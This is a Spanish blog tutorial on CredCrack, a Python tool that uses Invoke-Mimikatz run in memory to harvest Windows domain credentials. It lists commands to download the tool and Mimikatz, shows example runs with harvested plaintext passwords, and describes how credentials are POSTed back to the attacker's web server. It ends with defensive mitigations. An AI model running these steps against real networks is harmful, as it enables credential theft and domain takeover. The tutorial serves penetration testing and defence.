CredCrack es un script en Python de Jonathan Broche (@g0jhonny) que podemos usar para enumerar los recursos compartidos y recopilar rápidamente las credencialesde los servidores Windows de una red. Podríamos decir que es silencioso en cuanto a que carga las credenciales en memoria sin escribir a disco, y que también puede ser bastante rápido; en el siguiente vídeo se obtienen las credenciales de administrador de dominio en tan sólo 17 segundos:

Video: https://www.youtube.com/watch?fFGl8oG-RLc

Básicamente su funcionamiento es el siguiente:

- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos:smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST quecreds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.


CredCrack funciona con las herramientas nativas de Kali Linux y para usarlo sólo tenemos que bajarnos el script de GitHub:

wget https://raw.githubusercontent.com/gojhonny/CredCrack/master/credcrack.py

y descargar en el directorio /var/www el script en Powershell Invoke-Mimikatz.ps1 de Joe Bialek (@JosephBialek):

wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1

Luego para enumerar recursos compartidos:

Código:
./credcrack.py -r 192.168.1.100 -d acme -u bob -es
Password:
 ---------------------------------------------------------------------
  CredCrack v1.0 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------[*] Validating 192.168.1.102[*] Validating 192.168.1.103[*] Validating 192.168.1.100

 -----------------------------------------------------------------
 192.168.1.102 - Windows 7 Professional 7601 Service Pack 1 
 -----------------------------------------------------------------

 OPEN      \\192.168.1.102\ADMIN$ 
 OPEN      \\192.168.1.102\C$ 

 -----------------------------------------------------------------
 192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2 
 -----------------------------------------------------------------

 OPEN      \\192.168.1.103\ADMIN$ 
 OPEN      \\192.168.1.103\C$ 
 CLOSED    \\192.168.1.103\F$ 

 -----------------------------------------------------------------
 192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
 -----------------------------------------------------------------

 CLOSED    \\192.168.1.100\ADMIN$ 
 CLOSED    \\192.168.1.100\C$ 
 OPEN      \\192.168.1.100\NETLOGON 
 OPEN      \\192.168.1.100\SYSVOL [*] Done! Completed in 0.8s

Y para recopilar credenciales:

Código:
./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:

 ---------------------------------------------------------------------
  CredCrack v1.0 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------[*] Setting up the stage[*] Validating 192.168.1.102[*] Validating 192.168.1.103[*] Querying domain admin group from 192.168.1.102[*] Harvesting credentials from 192.168.1.102[*] Harvesting credentials from 192.168.1.103

                  The loot has arrived...
                         __________
                        /\____;;___\    
                       | /         /    
                       `. ())oo() .      
                        |\(%()*^^()^\       
                       %| |-%-------|       
                      % \ | %  ))   |       
                      %  \|%________|       [*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!

     1 domain administrators found and highlighted in yellow above![*] Cleaning up[*] Done! Loot may be found under /root/CCloot folder[*] Completed in 11.3s

Podríamos hacer prácticamente lo mismo con otras herramientas, pero sin duda este script resulta muy útil y facilita el trabajo. Eso sí, para que funcione y podamos obtener las contraseñas en claro necesitaremos ejecutarla con un administrador local, algo que podemos comprobar previamente al enumerar los recursos compartidos (-es).


"Pues vaya entonces...", dirás, pero piensa que nos puede servir para "elevar privilegios" a nivel de dominio o quizás podríamos haber obtenido simplemente un prompt con un usuario con permisos o haber reutilizado un hash, etc.

¿Y cómo podemos defendernos ante estos ataques? Pues un poco lo de siempre para evitar Mimikatz y técnicas Pass-the-hash:


- Usar usuarios como los mínimos permisos posibles o Enforce Least User Access (LUA)
- Usar un script que compruebe diariamente los usuarios con permisos administrativos
- Crear contraseñas teniendo en cuenta las buenas prácticas que aseguren un mínimo de complejidad
- No validarse en estaciones de trabajo con administradores de dominio
- Segmentar la red para separar los puestos de usuario de los servidores y controlar adecuadamente el tráfico mediante firewalls.
- Usar NIDS.
- Desactivar WDigest
- En Windows 8+ y Server 2012 no usar NTLM. no cachear Windows Digest y reducir el tiempo de vida de los TGT de Kerberos

GitHub: https://github.com/gojhonny/CredCrack

Fuentes:
- Domain Administrator in 17 seconds
- Preventing CredCrack, Mimikatz, Pass-the-Hash and more
- Dumping a Domain’s Worth of Passwords With Mimikatz pt. 2
- Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz
-
http://www.hackplayers.com/2015/08/consigue-las-credenciales-del-admin-en-17-segundos.html